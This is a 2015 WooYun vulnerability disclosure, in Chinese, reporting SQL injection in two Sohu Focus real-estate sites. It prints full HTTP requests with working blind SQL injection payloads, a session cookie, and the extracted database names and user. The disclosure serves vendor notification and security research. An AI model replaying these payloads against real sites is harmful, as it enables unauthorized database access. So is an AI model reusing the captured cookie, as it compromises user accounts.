当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163339

漏洞标题:搜狐焦点房产两重要网站SQL注入

相关厂商:焦点房产

漏洞作者: Forever80s

提交时间:2015-12-22 09:33

修复时间:2016-02-04 17:47

公开时间:2016-02-04 17:47

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-22: 细节已通知厂商并且等待厂商处理中
2015-12-22: 厂商已经确认,细节仅向厂商公开
2016-01-01: 细节向核心白帽子及相关领域专家公开
2016-01-11: 细节向普通白帽子公开
2016-01-21: 细节向实习白帽子公开
2016-02-04: 细节向公众公开

简要描述:

详细说明:

漏洞证明:

office.focus.cn 和home.focus.cn
1、office.focus.cn 根据返回大小内容判断
True

POST /dmc/ind_board_update.php HTTP/1.1
Referer: http://office.focus.cn/dmc/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: office.focus.cn
Content-Length: 292
Accept-Encoding: gzip, deflate
group_id=0&login_id=0&login_name=%e8%bf%87%e5%ae%a2%e8%af%84%e8%ae%ba&ID=0&help_type_post=1' RLIKE (SELECT (CASE WHEN (database() like '%') THEN 1 ELSE 0x28 END)) AND 'igVy'='igVy&help_type_email=1&help_type_phone=1&true_name=&email=&mobile=&work_phone=&home_phone=&address=&zipcode=&help_content=


QQ截图20151221180300.png


False

POST /dmc/ind_board_update.php HTTP/1.1
Referer: http://office.focus.cn/dmc/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: office.focus.cn
Content-Length: 292
Accept-Encoding: gzip, deflate
group_id=0&login_id=0&login_name=%e8%bf%87%e5%ae%a2%e8%af%84%e8%ae%ba&ID=0&help_type_post=1' RLIKE (SELECT (CASE WHEN (database() like 'a%') THEN 1 ELSE 0x28 END)) AND 'igVy'='igVy&help_type_email=1&help_type_phone=1&true_name=&email=&mobile=&work_phone=&home_phone=&address=&zipcode=&help_content=


QQ截图20151221180241.png


POC:database()='office'
2、 home.focus.cn 需要登录

GET /zxrj/info_vote.php?this_login_id=67903744 HTTP/1.1
Host: home.focus.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: sohutag=8HsmeSc5NCwmcyc5NCwmYjc5NCwmYSc5NCwmZjc5MCwmZyc5NCwmbjc5NCwmaSc5NCwmdyc5NCwmaCc5NCwmYyc5NCwmZSc5NCwmbSc5NH0; __utma=1.636238950.1450691141.1450691141.1450691141.1; __utmb=1.4.10.1450691141; __utmc=1; __utmz=1.1450691141.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; IPLOC=US; SUV=1512211745415881; ppinf=2|1450691300|1451900900|bG9naW5pZDowOnx1c2VyaWQ6MjQ6MTc1MjUyNjU3NUBzaW5hLnNvaHUuY29tfHNlcnZpY2V1c2U6MzA6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwfGNydDowOnxlbXQ6MTowfGFwcGlkOjQ6MTAyOHx0cnVzdDoxOjF8cGFydG5lcmlkOjE6MHxyZWxhdGlvbjowOnx1dWlkOjE2OjdjZmM0NDFhMDhjZTQxNnh8dWlkOjE2OjdjZmM0NDFhMDhjZTQxNnh8dW5pcW5hbWU6MTA6eHh4eHR0dDMzM3xyZWZ1c2VyaWQ6MTA6MTc1MjUyNjU3NXxyZWZuaWNrOjEwOktpYm9kV2Fwb258; pprdig=4e8sakyhd8nGGqnqVxMo4oih0qPayUxUDQHo0VmLeY_hMFxRyLxW-Y9WTSjgFQyqUimVduboTKVY1JxRlPK9wKZN9I6h4E8a6gVfVAm4ZUyEuDbWbcQFYSGdi__ZMHi-LU5pzL2iu4p5-y5F4BjRoNpZUr6SFG6YnnTf7FNE-Ug; lastdomain=1450777700|MTc1MjUyNjU3NUBzaW5hLnNvaHUuY29tfA==|sina.sohu.com; ppmdig=1450691305483948071a518a1d3005ecbe6a305b3b9226da; house_session_id=f2749f5729db4feb56bd56b8fa626e5bbG9naW5faWQ9Njg4NjkwMzkmbG9naW5fbmFtZT0xNzUyNTI2NTc1QHNpbmEuc29odS5jb20maGF1c3I9MCZzcHVpZD0xNzUyNTI2NTc1QHNpbmEuc29odS5jb20%3D
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
http://home.focus.cn/zxrj/info_vote.php?this_login_id=67903744'and'0 返回失败

false.png


http://home.focus.cn/zxrj/info_vote.php?this_login_id=67903744'and'0 返回成功


true.png


poc:
database()='home'
user='readonly@192%'

修复方案:

版权声明:转载请注明来源 Forever80s@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-22 09:47

厂商回复:

感谢你对搜狐安全的支持。

最新状态:

暂无